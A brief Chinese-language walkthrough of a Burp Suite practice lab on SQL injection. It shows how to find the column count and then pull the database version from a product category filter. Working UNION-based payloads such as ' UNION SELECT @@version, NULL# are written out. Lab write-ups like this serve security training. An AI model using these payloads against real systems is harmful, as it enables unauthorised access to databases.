bp官方靶场sql注入4

第四关 SQL 注入攻击，在 MySQL 和 Microsoft 上查询数据库类型和版本

这一关和第三关同样的道理，所以直接讲解怎么通过靶场

这一关也是说在产品类别筛选器中包含一个 SQL 注入漏洞。可以使用 UNION 攻击注入进行查询

1、随便点击个类别

2、到bp的HTTP history里面找到触发的数据包，然后发往repeater：

3、使用的union拼接联合查询，先确定存在几列，所以先尝试使用一个字段列

' UNION SELECT 'aaaa'#

显示失败

4、再尝试使用两个字段列

' UNION SELECT 'aaaa','bbbb'#

显示成功

5、接下来我们就去找两个数据库版本等信息

我们从提示中找到查询的sql语句：

SELECT @@version

6、然后直接拦截指定的数据包：

插入的sql语句：

' UNION SELECT @@version, NULL#

7、如图靶场通关：

信息暴露